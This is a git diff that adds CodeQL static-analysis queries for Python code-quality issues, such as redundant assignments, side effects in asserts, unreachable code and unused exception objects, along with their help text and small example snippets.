a/python/ql/src/Statements/NonIteratorInForLoop.qhelp b/python/ql/src/Statements/NonIteratorInForLoop.qhelp new file mode 100644 index 00000000000..0165db9fea9 --- /dev/null +++ b/python/ql/src/Statements/NonIteratorInForLoop.qhelp @@ -0,0 +1,36 @@ + + + +

    The for statement is designed to allow you to iterate over the elements of a +sequence or other iterable object. If a non-iterable object is used in a for statement +(for var in object:) then a TypeError will be raised. +

    + +
    + + +

    Since this defect usually indicates a logical error, it is not possible to give a general method +for addressing the defect.

    + +
    + +

    +In this example, the loop may attempt to iterate over None, which is not an iterator. +It is likely that the programmer forgot to test for None before the loop. +

    + + +
    + + +
  • Python Language Reference: The for statement, + object.__iter__.
  • +
  • Python Standard Library: Iterator types.
  • +
  • Scipy lecture notes: Iterators, +generator expressions and generators.
  • + + +
    +
    diff --git a/python/ql/src/Statements/NonIteratorInForLoop.ql b/python/ql/src/Statements/NonIteratorInForLoop.ql new file mode 100644 index 00000000000..27d8d47d31f --- /dev/null +++ b/python/ql/src/Statements/NonIteratorInForLoop.ql @@ -0,0 +1,23 @@ +/** + * @name Non-iterable used in for loop + * @description Using a non-iterable as the object in a 'for' loop causes a TypeError. + * @kind problem + * @tags reliability + * correctness + * types + * @problem.severity error + * @sub-severity low + * @precision high + * @id py/non-iterable-in-for-loop + */ + +import python + +from For loop, ControlFlowNode iter, ClassObject t, ControlFlowNode origin +where loop.getIter().getAFlowNode() = iter and +iter.refersTo(_, t, origin) and +not t.isIterable() and not t.failedInference() and +not t = theNoneType() and +not t.isDescriptorType() + +select loop, "$@ of class '$@' may be used in for-loop.", origin, "Non-iterator", t, t.getName() diff --git a/python/ql/src/Statements/RedundantAssignment.py b/python/ql/src/Statements/RedundantAssignment.py new file mode 100644 index 00000000000..74ebd85a622 --- /dev/null +++ b/python/ql/src/Statements/RedundantAssignment.py @@ -0,0 +1,5 @@ +class Spam: + + def __init__(self, eggs): + eggs = eggs + diff --git a/python/ql/src/Statements/RedundantAssignment.qhelp b/python/ql/src/Statements/RedundantAssignment.qhelp new file mode 100644 index 00000000000..67cb7eb17d5 --- /dev/null +++ b/python/ql/src/Statements/RedundantAssignment.qhelp @@ -0,0 +1,29 @@ + + + +

    Assigning a variable to itself is redundant and often an indication of a mistake in the code.

    + +
    + +

    Check the assignment carefully for mistakes. If the assignment is truly redundant and not simply +incorrect then remove it.

    + +
    + +

    In this example the programmer clearly intends to assign to self.eggs but made a +mistake.

    + + + +
    + + + +
  • Python Language Reference: +The assignment statement.
  • + + +
    +
    diff --git a/python/ql/src/Statements/RedundantAssignment.ql b/python/ql/src/Statements/RedundantAssignment.ql new file mode 100644 index 00000000000..231f33e88dc --- /dev/null +++ b/python/ql/src/Statements/RedundantAssignment.ql @@ -0,0 +1,92 @@ +/** + * @name Redundant assignment + * @description Assigning a variable to itself is useless and very likely indicates an error in the code. + * @kind problem + * @tags reliability + * useless-code + * external/cwe/cwe-563 + * @problem.severity error + * @sub-severity low + * @precision very-high + * @id py/redundant-assignment + */ + +import python +predicate assignment(AssignStmt a, Expr left, Expr right) +{ + a.getATarget() = left and a.getValue() = right +} + +predicate corresponding(Expr left, Expr right) { + assignment(_, left, right) + or + exists(Attribute la, Attribute ra | + corresponding(la, ra) and + left = la.getObject() and + right = ra.getObject()) +} + +predicate same_value(Expr left, Expr right) { + same_name(left, right) + or + same_attribute(left, right) +} + +predicate maybe_defined_in_outer_scope(Name n) { + exists(SsaVariable v | v.getAUse().getNode() = n | + v.maybeUndefined() + ) +} + +Variable relevant_var(Name n) { + n.getVariable() = result and + (corresponding(n, _) or corresponding(_, n)) +} + +predicate same_name(Name n1, Name n2) { + corresponding(n1, n2) and + relevant_var(n1) = relevant_var(n2) and + not exists(builtin_object(n1.getId())) and + not maybe_defined_in_outer_scope(n2) +} + +ClassObject value_type(Attribute a) { + a.getObject().refersTo(_, result, _) +} + +predicate is_property_access(Attribute a) { + value_type(a).lookupAttribute(a.getName()) instanceof PropertyObject +} + +predicate same_attribute(Attribute a1, Attribute a2) { + corresponding(a1, a2) and a1.getName() = a2.getName() and same_value(a1.getObject(), a2.getObject()) and + exists(value_type(a1)) and not is_property_access(a1) +} + +int pyflakes_commented_line(File file) { + exists(Comment c | c.getText().toLowerCase().matches("%pyflakes%") | + c.getLocation().hasLocationInfo(file.getName(), result, _, _, _) + ) +} + +predicate pyflakes_commented(AssignStmt assignment) { + exists(Location loc | + assignment.getLocation() = loc and + loc.getStartLine() = pyflakes_commented_line(loc.getFile())) +} + +predicate side_effecting_lhs(Attribute lhs) { + exists(ClassObject cls, ClassObject decl | + lhs.getObject().refersTo(_, cls, _) and + decl = cls.getAnImproperSuperType() and + not decl.isBuiltin() | + decl.declaresAttribute("__setattr__") + ) +} + +from AssignStmt a, Expr left, Expr right +where assignment(a, left, right) + and same_value(left, right) + and not pyflakes_commented(a) and + not side_effecting_lhs(left) +select a, "This assignment assigns a variable to itself." diff --git a/python/ql/src/Statements/ShouldUseWithStatement.py b/python/ql/src/Statements/ShouldUseWithStatement.py new file mode 100644 index 00000000000..958905d0b82 --- /dev/null +++ b/python/ql/src/Statements/ShouldUseWithStatement.py @@ -0,0 +1,10 @@ + +f = open("filename") +try: # Method of ensuring file closure + f.write(...) +finally: + f.close() + + +with open("filename") as f: # Simpler method of ensuring file closure + f.write(...) \ No newline at end of file diff --git a/python/ql/src/Statements/ShouldUseWithStatement.qhelp b/python/ql/src/Statements/ShouldUseWithStatement.qhelp new file mode 100644 index 00000000000..e024ecef406 --- /dev/null +++ b/python/ql/src/Statements/ShouldUseWithStatement.qhelp @@ -0,0 +1,37 @@ + + + + +

    The with statement was introduced by PEP343 to allow standard uses of +try-finally statements to be factored out. Using this simplification makes code easier +to read.

    + +
    + +

    Review the code and determine whether or not the try-finally is used only to ensure +that a resource is closed. If the only purpose is to ensure that a resource is closed, then replace +the try-finally statement with a with statement.

    + +
    + +

    The following code shows examples of different ways of ensuring that a file is always closed, even +when an error is generated. In the second example, the try-finally block is replaced by +a simpler with statement.

    + + + + +
    + + +
  • Python Language Reference: The with +statement.
  • +
  • Python Standard Library: Context manager +.
  • +
  • Python PEP 343: The "with" Statement.
  • + + +
    +
    diff --git a/python/ql/src/Statements/ShouldUseWithStatement.ql b/python/ql/src/Statements/ShouldUseWithStatement.ql new file mode 100644 index 00000000000..06b3b762db0 --- /dev/null +++ b/python/ql/src/Statements/ShouldUseWithStatement.ql @@ -0,0 +1,37 @@ +/** + * @name Should use a 'with' statement + * @description Using a 'try-finally' block to ensure only that a resource is closed makes code more + * difficult to read. + * @kind problem + * @tags maintainability + * readability + * convention + * @problem.severity recommendation + * @sub-severity high + * @precision very-high + * @id py/should-use-with + */ + +import python + + +predicate calls_close(Call c) { + exists (Attribute a | c.getFunc() = a and a.getName() = "close") +} + +predicate +only_stmt_in_finally(Try t, Call c) { + exists(ExprStmt s | t.getAFinalstmt() = s and s.getValue() = c and strictcount(t.getAFinalstmt()) = 1) +} + +predicate points_to_context_manager(ControlFlowNode f, ClassObject cls) { + cls.isContextManager() and + forex(Object obj | f.refersTo(obj) | f.refersTo(obj, cls, _)) +} + +from Call close, Try t, ClassObject cls +where only_stmt_in_finally(t, close) and calls_close(close) and +exists(ControlFlowNode f | f = close.getFunc().getAFlowNode().(AttrNode).getObject() | + points_to_context_manager(f, cls)) +select close, "Instance of context-manager class $@ is closed in a finally block. Consider using 'with' statement.", cls, cls.getName() + diff --git a/python/ql/src/Statements/SideEffectInAssert.py b/python/ql/src/Statements/SideEffectInAssert.py new file mode 100644 index 00000000000..4aba0adc8de --- /dev/null +++ b/python/ql/src/Statements/SideEffectInAssert.py @@ -0,0 +1 @@ +assert(subprocess.call(['run-backup']) == 0) diff --git a/python/ql/src/Statements/SideEffectInAssert.qhelp b/python/ql/src/Statements/SideEffectInAssert.qhelp new file mode 100644 index 00000000000..0f7a3bfa4b3 --- /dev/null +++ b/python/ql/src/Statements/SideEffectInAssert.qhelp @@ -0,0 +1,37 @@ + + + + + +

    All code defined in assert statements is ignored when optimization is +requested, that is, the program is run with the -O flag. +If an assert statement has any side-effects then the behavior of +the program changes when optimization is requested.

    + +
    + + +

    Move all expressions with side-effects out of assert statements.

    + +
    + +

    +In the example, the exit code from subprocess.call() is checked against 0, but the entire +expression is called from within an assert statement. If the code is ever run, then the +not only the assertion itself, but also the external call, will be discarded. It is better to save the result +of subprocess.call() to a temporary variable, and to assert that variable to be 0. +

    + + + +
    + + +
  • Python Language Reference: The assert statement.
  • +
  • TutorialsPoint, Python Programming: Assertions in Python.
  • + + +
    +
    diff --git a/python/ql/src/Statements/SideEffectInAssert.ql b/python/ql/src/Statements/SideEffectInAssert.ql new file mode 100644 index 00000000000..e62685b7c33 --- /dev/null +++ b/python/ql/src/Statements/SideEffectInAssert.ql @@ -0,0 +1,37 @@ +/** + * @name An assert statement has a side-effect + * @description Side-effects in assert statements result in differences between normal + * and optimized behavior. + * @kind problem + * @tags reliability + * maintainability + * @problem.severity error + * @sub-severity low + * @precision high + * @id py/side-effect-in-assert + */ + +import python + +predicate func_with_side_effects(Expr e) { + exists(string name | + name = ((Attribute)e).getName() or name = ((Name)e).getId() | + name = "print" or name = "write" or name = "append" or + name = "pop" or name = "remove" or name = "discard" or + name = "delete" or name = "close" or name = "open" or + name = "exit" + ) +} + +predicate probable_side_effect(Expr e) { + // Only consider explicit yields, not artificial ones in comprehensions + e instanceof Yield and not exists(Comp c | c.contains(e)) + or + e instanceof YieldFrom + or + e instanceof Call and func_with_side_effects(((Call)e).getFunc()) +} + +from Assert a, Expr e +where probable_side_effect(e) and a.contains(e) +select a, "This 'assert' statement contains $@ which may have side effects.", e, "an expression" diff --git a/python/ql/src/Statements/StatementNoEffect.py b/python/ql/src/Statements/StatementNoEffect.py new file mode 100644 index 00000000000..c22c921a1b9 --- /dev/null +++ b/python/ql/src/Statements/StatementNoEffect.py @@ -0,0 +1,4 @@ + +def increment_and_show(x): + ++x + x.show diff --git a/python/ql/src/Statements/StatementNoEffect.qhelp b/python/ql/src/Statements/StatementNoEffect.qhelp new file mode 100644 index 00000000000..0fd1207fa12 --- /dev/null +++ b/python/ql/src/Statements/StatementNoEffect.qhelp @@ -0,0 +1,35 @@ + + + + + +

    An expression statement without side effects is just clutter. It confuses the reader and may have a slight impact on performance. +

    + +
    + +

    First determine what the intention of the code was, if there is no intention of a side effect, then just delete the statement. +However, it is probable that there is a mistake in the code and some effect was intended. +

    +

    +This query will not flag a statement consisting solely of a string as having no side effect, as these are often used as comments. +If you want to use strings as comments, the most common convention is to use triple quoted strings rather than single quoted ones. +Although consistency is more important than conforming to any particular style. +

    + +
    + + +

    In this example neither line of the increment_and_show() function has any effect. +

    +The first line, ++x, has no effect as it applies the unary plus operator twice. Probably the programmer intended x += 1 +

    +

    +The second line, x.show, has no observable effect, but it is likely that x.show() was intended. +

    + + +
    +
    diff --git a/python/ql/src/Statements/StatementNoEffect.ql b/python/ql/src/Statements/StatementNoEffect.ql new file mode 100644 index 00000000000..b0fcd05b3f1 --- /dev/null +++ b/python/ql/src/Statements/StatementNoEffect.ql @@ -0,0 +1,120 @@ +/** + * @name Statement has no effect + * @description A statement has no effect + * @kind problem + * @tags maintainability + * useless-code + * external/cwe/cwe-561 + * @problem.severity recommendation + * @sub-severity high + * @precision high + * @id py/ineffectual-statement + */ + +import python + +predicate understood_attribute(Attribute attr, ClassObject cls, ClassObject attr_cls) { + exists(string name | + attr.getName() = name | + attr.getObject().refersTo(_, cls, _) and + cls.attributeRefersTo(name, _, attr_cls, _) + ) +} + +/* Conservative estimate of whether attribute lookup has a side effect */ +predicate side_effecting_attribute(Attribute attr) { + exists(ClassObject cls, ClassObject attr_cls | + understood_attribute(attr, cls, attr_cls) and + side_effecting_descriptor_type(attr_cls) + ) +} + +predicate maybe_side_effecting_attribute(Attribute attr) { + not understood_attribute(attr, _, _) and not attr.refersTo(_) + or + side_effecting_attribute(attr) +} + +predicate side_effecting_descriptor_type(ClassObject descriptor) { + descriptor.isDescriptorType() and + /* Technically all descriptor gets have side effects, + * but some are indicative of a missing call and + * we want to treat them as having no effect. */ + not descriptor = thePyFunctionType() and + not descriptor = theStaticMethodType() and + not descriptor = theClassMethodType() +} + +/** Side effecting binary operators are rare, so we assume they are not + * side-effecting unless we know otherwise. + */ +predicate side_effecting_binary(Expr b) { + exists(Expr sub, string method_name | + sub = b.(BinaryExpr).getLeft() and + method_name = b.(BinaryExpr).getOp().getSpecialMethodName() + or + exists(Cmpop op | + b.(Compare).compares(sub, op, _) and + method_name = op.getSpecialMethodName() + ) + | + exists(ClassObject cls | + sub.refersTo(_, cls, _) and + cls.hasAttribute(method_name) + and + not exists(ClassObject declaring | + declaring.declaresAttribute(method_name) + and declaring = cls.getAnImproperSuperType() and + declaring.isBuiltin() and not declaring = theObjectType() + ) + ) + ) +} + +predicate is_notebook(File f) { + exists(Comment c | + c.getLocation().getFile() = f | + c.getText().regexpMatch("#\\s*.+\\s*") + ) +} + +/** Expression (statement) in a jupyter/ipython notebook */ +predicate in_notebook(Expr e) { + is_notebook(e.getScope().(Module).getFile()) +} + +FunctionObject assertRaises() { + exists(ModuleObject unittest, ClassObject testcase | + unittest.getName() = "unittest" and + testcase = unittest.getAttribute("TestCase") and + result = testcase.lookupAttribute("assertRaises") + ) +} + +/** Holds if expression `e` is in a `with` block that tests for exceptions being raised. */ +predicate in_raises_test(Expr e) { + exists(With w | + w.contains(e) and + w.getContextExpr() = assertRaises().getACall().getNode() + ) +} + +predicate no_effect(Expr e) { + not e instanceof StrConst and + not ((StrConst)e).isDocString() and + not e.hasSideEffects() and + forall(Expr sub | + sub = e.getASubExpression*() + | + not side_effecting_binary(sub) + and + not maybe_side_effecting_attribute(sub) + ) and + not in_notebook(e) and + not in_raises_test(e) +} + +from ExprStmt stmt +where no_effect(stmt.getValue()) +select stmt, "This statement has no effect." + diff --git a/python/ql/src/Statements/StringConcatenationInLoop.qhelp b/python/ql/src/Statements/StringConcatenationInLoop.qhelp new file mode 100644 index 00000000000..8d8f494ddd0 --- /dev/null +++ b/python/ql/src/Statements/StringConcatenationInLoop.qhelp @@ -0,0 +1,27 @@ + + + +

    If you concatenate strings in a loop then the time taken by the loop is quadratic in the number +of iterations.

    + +
    + + +

    Initialize an empty list before the start of the list. +During the loop append the substrings to the list. +At the end of the loop, convert the list to a string by using ''.join(list).

    + + +
    + + + +
  • Python Standard Library: The str.join method.
  • +
  • Python Frequently Asked Questions: +What is the most efficient way to concatenate many strings together?.
  • + + +
    +
    diff --git a/python/ql/src/Statements/StringConcatenationInLoop.ql b/python/ql/src/Statements/StringConcatenationInLoop.ql new file mode 100644 index 00000000000..5ca79a345a5 --- /dev/null +++ b/python/ql/src/Statements/StringConcatenationInLoop.ql @@ -0,0 +1,29 @@ +/** + * @name String concatenation in loop + * @description Concatenating strings in loops has quadratic performance. + * @kind problem + * @tags efficiency + * maintainability + * @problem.severity recommendation + * @sub-severity low + * @precision low + * @id py/string-concatenation-in-loop + */ + +import python + +predicate string_concat_in_loop(BinaryExpr b) { + b.getOp() instanceof Add + and + exists(SsaVariable d, SsaVariable u, BinaryExprNode add, ClassObject str_type | + add.getNode() = b and d = u.getAnUltimateDefinition() | + d.getDefinition().(DefinitionNode).getValue() = add and u.getAUse() = add.getAnOperand() and + add.getAnOperand().refersTo(_, str_type, _) and + (str_type = theBytesType() or str_type = theUnicodeType()) + ) +} + + +from BinaryExpr b, Stmt s +where string_concat_in_loop(b) and s.getASubExpression() = b +select s, "String concatenation in a loop is quadratic in the number of iterations." diff --git a/python/ql/src/Statements/SysExitUsed.py b/python/ql/src/Statements/SysExitUsed.py new file mode 100644 index 00000000000..679f37624cd --- /dev/null +++ b/python/ql/src/Statements/SysExitUsed.py @@ -0,0 +1,8 @@ +import sys + +def main(): + try: + process() + except Exception as ex: + print(ex) + sys.exit(1) diff --git a/python/ql/src/Statements/TopLevelPrint.py b/python/ql/src/Statements/TopLevelPrint.py new file mode 100644 index 00000000000..29d6682f291 --- /dev/null +++ b/python/ql/src/Statements/TopLevelPrint.py @@ -0,0 +1,15 @@ + +try: + import fast_system as system +except ImportError: + print ("Cannot import fast system, falling back on slow system") + import slow_system as system + +#Fixed version +import logging + +try: + import fast_system as system +except ImportError: + logging.info("Cannot import fast system, falling back on slow system") + import slow_system as system diff --git a/python/ql/src/Statements/TopLevelPrint.qhelp b/python/ql/src/Statements/TopLevelPrint.qhelp new file mode 100644 index 00000000000..c615f08df8b --- /dev/null +++ b/python/ql/src/Statements/TopLevelPrint.qhelp @@ -0,0 +1,33 @@ + + + + + +

    Using print statements in level scope may result in surprising output at import time. +This in turn means that other code cannot safely import the module in question if the program may only write +real output to standard out. +

    + +
    + + +

    Replace the print statements with calls to some form of logging function or use the warnings module.

    + +
    + +

    In the example, importing the module may cause a message to be printed, which may interfere with the operation of the program.

    + + + +
    + + +
  • Python Language Reference: The print statement.
  • +
  • Python Standard Library: The print function.
  • +
  • Python tutorial: Modules.
  • + + +
    +
    diff --git a/python/ql/src/Statements/TopLevelPrint.ql b/python/ql/src/Statements/TopLevelPrint.ql new file mode 100644 index 00000000000..cc56902cd62 --- /dev/null +++ b/python/ql/src/Statements/TopLevelPrint.ql @@ -0,0 +1,35 @@ +/** + * @name Use of a print statement at module level + * @description Using a print statement at module scope (except when guarded by if __name__ == '__main__') will cause surprising output when the module is imported. + * @kind problem + * @tags reliability + * maintainability + * convention + * @problem.severity recommendation + * @sub-severity high + * @precision high + * @id py/print-during-import + */ + +import python + + +predicate main_eq_name(If i) { + exists(Name n, StrConst m, Compare c | + i.getTest() = c and c.getLeft() = n and + c.getAComparator() = m and + n.getId() = "__name__" and + m.getText() = "__main__" + ) +} + +predicate is_print_stmt(Stmt s) { + s instanceof Print or + exists(ExprStmt e, Call c, Name n | e = s and c = e.getValue() and n = c.getFunc() and n.getId() = "print") +} + +from Stmt p +where is_print_stmt(p) and +exists(ModuleObject m | m.getModule() = p.getScope() and m.getKind() = "module") and +not exists(If i | main_eq_name(i) and i.getASubStatement().getASubStatement*() = p) +select p, "Print statement may execute during import." diff --git a/python/ql/src/Statements/UnnecessaryDelete.py b/python/ql/src/Statements/UnnecessaryDelete.py new file mode 100644 index 00000000000..6ddf2d68210 --- /dev/null +++ b/python/ql/src/Statements/UnnecessaryDelete.py @@ -0,0 +1,4 @@ +def unnecessary_delete(): + x = get_some_object() + do_calculation(x) + del x # This del statement is unnecessary diff --git a/python/ql/src/Statements/UnnecessaryDelete.qhelp b/python/ql/src/Statements/UnnecessaryDelete.qhelp new file mode 100644 index 00000000000..38a6ffe5d64 --- /dev/null +++ b/python/ql/src/Statements/UnnecessaryDelete.qhelp @@ -0,0 +1,34 @@ + + + +

    Passing a local variable to a del statement results in that +variable being removed from the local namespace. When exiting a function all +local variables are deleted, so it is unnecessary to explicitly delete variables +in such cases.

    + +
    + +

    Remove the del statement.

    + +
    + +

    + In the function below, the variable x is assigned a value that + is used for a calculation, and is then explicitly deleted before the + function exits. In this case, the delete statement can be removed without + changing the behavior of the function. +

    + + + +
    + + + + +
  • Python: The 'del' statement.
  • +
  • Python/C API Reference Manual: Reference counts.
  • +
    +
    diff --git a/python/ql/src/Statements/UnnecessaryDelete.ql b/python/ql/src/Statements/UnnecessaryDelete.ql new file mode 100644 index 00000000000..fbe196e9fc1 --- /dev/null +++ b/python/ql/src/Statements/UnnecessaryDelete.ql @@ -0,0 +1,33 @@ +/** + * @name Unnecessary delete statement in function + * @description Using a 'delete' statement to delete a local variable is + * unnecessary, because the variable is deleted automatically when + * the function exits. + * @kind problem + * @tags maintainability + * useless-code + * @problem.severity warning + * @sub-severity low + * @precision high + * @id py/unnecessary-delete + */ + + +import python + +from Delete del, Expr e, Function f +where + f.getLastStatement() = del and + e = del.getATarget() and + f.containsInScope(e) and + not e instanceof Subscript and + not e instanceof Attribute and + not exists(Stmt s | s.(While).contains(del) or s.(For).contains(del)) and + /* False positive: calling `sys.exc_info` within a function results in a + reference cycle,and an explicit call to `del` helps break this cycle. */ + not exists(FunctionObject ex | + ex.hasLongName("sys.exc_info") and + ex.getACall().getScope() = f + ) +select del, "Unnecessary deletion of local variable $@ in function $@.", + e.getLocation(), e.toString(), f.getLocation(), f.getName() \ No newline at end of file diff --git a/python/ql/src/Statements/UnnecessaryElseClause.py b/python/ql/src/Statements/UnnecessaryElseClause.py new file mode 100644 index 00000000000..a5a374d07ca --- /dev/null +++ b/python/ql/src/Statements/UnnecessaryElseClause.py @@ -0,0 +1,21 @@ +def pointless_else(container): + for item in container: + if of_interest(item): + return item + else: + raise NotFoundException() + +def no_else(container): + for item in container: + if of_interest(item): + return item + raise NotFoundException() + +def with_break(container): + for item in container: + if of_interest(item): + found = item + break + else: + raise NotFoundException() + return found diff --git a/python/ql/src/Statements/UnnecessaryElseClause.qhelp b/python/ql/src/Statements/UnnecessaryElseClause.qhelp new file mode 100644 index 00000000000..454fb2a3b13 --- /dev/null +++ b/python/ql/src/Statements/UnnecessaryElseClause.qhelp @@ -0,0 +1,32 @@ + + + +

    The else clause of a loop (either a for or a while statement) executes immediately after the loop terminates normally. +If there is a break statement in the loop body, then the else clause is skipped. +If there is no break statement, then the else clause will always be executed after the loop, unless it exits with a return or raise. +Therefore, if there is no break statement in the loop body then the else clause can be replaced with unindented code.

    + +

    Generally the use of else clauses should be avoided where possible, as they are likely to be misunderstood.

    + +
    + +

    Replace the else clause with unindented code.

    + + +
    + +

    In this example, the pointless_else function contains a redundant else clause. +The else clause can be simplified, as shown in the no_else function, which has the same semantics, but has no else clause. +The third example function, with_break, shows a version where the else clause is necessary, as the break statement skips the else clause. +

    + +
    + + +
  • Python Language Reference: The while statement.
  • +
  • Python Tutorial: Break and continue statements, and else clauses on loops.
  • + +
    +
    diff --git a/python/ql/src/Statements/UnnecessaryElseClause.ql b/python/ql/src/Statements/UnnecessaryElseClause.ql new file mode 100644 index 00000000000..cfb93a7c0b7 --- /dev/null +++ b/python/ql/src/Statements/UnnecessaryElseClause.ql @@ -0,0 +1,22 @@ +/** + * @name Unnecessary 'else' clause in loop + * @description An 'else' clause in a 'for' or 'while' statement that does not contain a 'break' is redundant. + * @kind problem + * @tags maintainability + * useless-code + * @problem.severity warning + * @sub-severity low + * @precision very-high + * @id py/redundant-else + */ + +import python + +from Stmt loop, StmtList body, StmtList clause, string kind +where +(exists(For f | f = loop | clause = f.getOrelse() and body = f.getBody() and kind = "for") + or + exists(While w | w = loop | clause = w.getOrelse() and body = w.getBody() and kind = "while") +) +and not exists(Break b | body.contains(b)) +select loop, "This '" + kind + "' statement has a redundant 'else' as no 'break' is present in the body." diff --git a/python/ql/src/Statements/UnnecessaryPass.qhelp b/python/ql/src/Statements/UnnecessaryPass.qhelp new file mode 100644 index 00000000000..1623ac8714d --- /dev/null +++ b/python/ql/src/Statements/UnnecessaryPass.qhelp @@ -0,0 +1,21 @@ + + + +

    A pass statement is only necessary when it is the only statement in a block (the +list of statements forming part of a compound statement). This is because the purpose of the +pass statement is to allow empty blocks where they would otherwise be syntactically invalid. +If the block already contains other statements then the pass statement is unnecessary.

    + +
    + +

    Remove the pass statement.

    + +
    + + +
  • Python: pass.
  • + +
    +
    diff --git a/python/ql/src/Statements/UnnecessaryPass.ql b/python/ql/src/Statements/UnnecessaryPass.ql new file mode 100644 index 00000000000..d98aa947236 --- /dev/null +++ b/python/ql/src/Statements/UnnecessaryPass.ql @@ -0,0 +1,33 @@ +/** + * @name Unnecessary pass + * @description Unnecessary 'pass' statement + * @kind problem + * @tags maintainability + * useless-code + * @problem.severity warning + * @sub-severity low + * @precision very-high + * @id py/unnecessary-pass + */ + +import python + +predicate is_doc_string(ExprStmt s) { + s.getValue() instanceof Unicode or s.getValue() instanceof Bytes +} + +predicate has_doc_string(StmtList stmts) { + stmts.getParent() instanceof Scope + and + is_doc_string(stmts.getItem(0)) +} + +from Pass p, StmtList list +where list.getAnItem() = p and +( + strictcount(list.getAnItem()) = 2 and not has_doc_string(list) + or + strictcount(list.getAnItem()) > 2 +) +select p, "Unnecessary 'pass' statement." + diff --git a/python/ql/src/Statements/UnreachableCode.py b/python/ql/src/Statements/UnreachableCode.py new file mode 100644 index 00000000000..e3a4fbd47c2 --- /dev/null +++ b/python/ql/src/Statements/UnreachableCode.py @@ -0,0 +1,5 @@ +import math + +def my_div(x, y): + return math.floor(x / y) + remainder = x - math.floor(x / y) * y diff --git a/python/ql/src/Statements/UnreachableCode.qhelp b/python/ql/src/Statements/UnreachableCode.qhelp new file mode 100644 index 00000000000..38fc0de5821 --- /dev/null +++ b/python/ql/src/Statements/UnreachableCode.qhelp @@ -0,0 +1,27 @@ + + + +

    Unreachable code makes the code more difficult to understand and may slow down loading of modules.

    + +
    + +

    Deleting the unreachable code will make the code clearer and preserve the meaning of the code. +However, it is possible that the original intention was that the code should execute and that it is +unreachable signifies some other error.

    + +
    + +

    In this example the assignment to remainder is never reached because there is a +return statement on the previous line.

    + + + +
    + + +
  • Wikipedia: Unreachable Code.
  • + +
    +
    diff --git a/python/ql/src/Statements/UnreachableCode.ql b/python/ql/src/Statements/UnreachableCode.ql new file mode 100644 index 00000000000..8fa8cb7f9e0 --- /dev/null +++ b/python/ql/src/Statements/UnreachableCode.ql @@ -0,0 +1,49 @@ +/** + * @name Unreachable code + * @description Code is unreachable + * @kind problem + * @tags maintainability + * useless-code + * external/cwe/cwe-561 + * @problem.severity warning + * @sub-severity low + * @precision very-high + * @id py/unreachable-statement + */ + +import python + +predicate typing_import(ImportingStmt is) { + exists(Module m | + is.getScope() = m and + exists(TypeHintComment tc | + tc.getLocation().getFile() = m.getFile() + ) + ) +} + +/** Holds if `s` contains the only `yield` in scope */ +predicate unique_yield(Stmt s) { + exists(Yield y | s.contains(y)) and + exists(Function f | + f = s.getScope() and + strictcount(Yield y | f.containsInScope(y)) = 1 + ) +} + +predicate reportable_unreachable(Stmt s) { + s.isUnreachable() and + not typing_import(s) and + not exists(Stmt other | other.isUnreachable() | + other.contains(s) + or + exists(StmtList l, int i, int j | + l.getItem(i) = other and l.getItem(j) = s and i < j + ) + ) and + not unique_yield(s) +} + +from Stmt s +where reportable_unreachable(s) +select s, "Unreachable statement." diff --git a/python/ql/src/Statements/UnusedExceptionObject.py b/python/ql/src/Statements/UnusedExceptionObject.py new file mode 100644 index 00000000000..3fc8a456bd3 --- /dev/null +++ b/python/ql/src/Statements/UnusedExceptionObject.py @@ -0,0 +1,16 @@ + +def do_action_forgotten_raise(action): + if action == "go": + start() + elif action == "stop": + stop() + else: + ValueError(action) + +def do_action(action): + if action == "go": + start() + elif action == "stop": + stop() + else: + raise ValueError(action) diff --git a/python/ql/src/Statements/UnusedExceptionObject.qhelp b/python/ql/src/Statements/UnusedExceptionObject.qhelp new file mode 100644 index 00000000000..63fca0cf8a4 --- /dev/null +++ b/python/ql/src/Statements/UnusedExceptionObject.qhelp @@ -0,0 +1,25 @@ + + + + + +

    Creating a new exception object is no different from creating any other object. The exception needs to be raised to have an effect. +

    + +
    + +

    Insert a raise before the exception. +

    + +
    + + +

    In this example, the first function do_action_forgotten_raise() silently ignores any erroneous input. +Whereas, the second function do_action correctly raises an exception if the 'action' is not understood. +

    + + +
    +
    diff --git a/python/ql/src/Statements/UnusedExceptionObject.ql b/python/ql/src/Statements/UnusedExceptionObject.ql new file mode 100644 index 00000000000..be848ad69c3 --- /dev/null +++ b/python/ql/src/Statements/UnusedExceptionObject.ql @@ -0,0 +1,19 @@ +/** + * @name Unused exception object + * @description An exception object is created, but is not used. + * @kind problem + * @tags reliability + * maintainability + * @problem.severity error + * @sub-severity low + * @precision very-high + * @id py/unused-exception-object + */ + +import python + +from Call call, ClassObject ex +where call.getFunc().refersTo(ex) and ex.getAnImproperSuperType() = theExceptionType() +and exists(ExprStmt s | s.getValue() = call) + +select call, "Instantiating an exception, but not raising it, has no effect" diff --git a/python/ql/src/Statements/UseOfExit.qhelp b/python/ql/src/Statements/UseOfExit.qhelp new file mode 100644 index 00000000000..004461513e7 --- /dev/null +++ b/python/ql/src/Statements/UseOfExit.qhelp @@ -0,0 +1,35 @@ + + + + +

    The exit and quit "functions" are actually site.Quitter objects and +are loaded, at interpreter start up, from site.py. +However, if the interpreter is started with the -S flag, or a custom site.py +is used then exit and quit may not be present. +

    + +
    + +

    Replace uses of exit() and quit() with sys.exit() which is +built into the interpreter and is guaranteed to be present.

    + +
    + +

    In this example, exit() is used and will fail if the interpreter is passed the -S option.

    + + + +

    In this example, sys.exit() is used and will behave the same regardless of the interpreter options.

    + + + +
    + + +
  • Python Documentation: Command line and environment.
  • +
  • Python Documentation: Site-specific configuration hook.
  • + +
    +
    diff --git a/python/ql/src/Statements/UseOfExit.ql b/python/ql/src/Statements/UseOfExit.ql new file mode 100644 index 00000000000..3c21be6b1de --- /dev/null +++ b/python/ql/src/Statements/UseOfExit.ql @@ -0,0 +1,16 @@ +/** + * @name Use of exit() or quit() + * @description exit() or quit() may fail if the interpreter is run with the -S option. + * @kind problem + * @tags maintainability + * @problem.severity warning + * @sub-severity low + * @precision very-high + * @id py/use-of-exit-or-quit + */ + +import python + +from CallNode call, string name +where call.getFunction().refersTo(quitterObject(name)) +select call, "The '" + name + "' site.Quitter object may not exist if the 'site' module is not loaded or is modified." diff --git a/python/ql/src/Testing/ImpreciseAssert.py b/python/ql/src/Testing/ImpreciseAssert.py new file mode 100644 index 00000000000..08e083ff0bb --- /dev/null +++ b/python/ql/src/Testing/ImpreciseAssert.py @@ -0,0 +1,9 @@ +from unittest import TestCase + +class MyTest(TestCase): + + + def testInts(self): + self.assertTrue(1 == 1) + self.assertFalse(1 > 2) + self.assertTrue(1 in []) #This will fail diff --git a/python/ql/src/Testing/ImpreciseAssert.qhelp 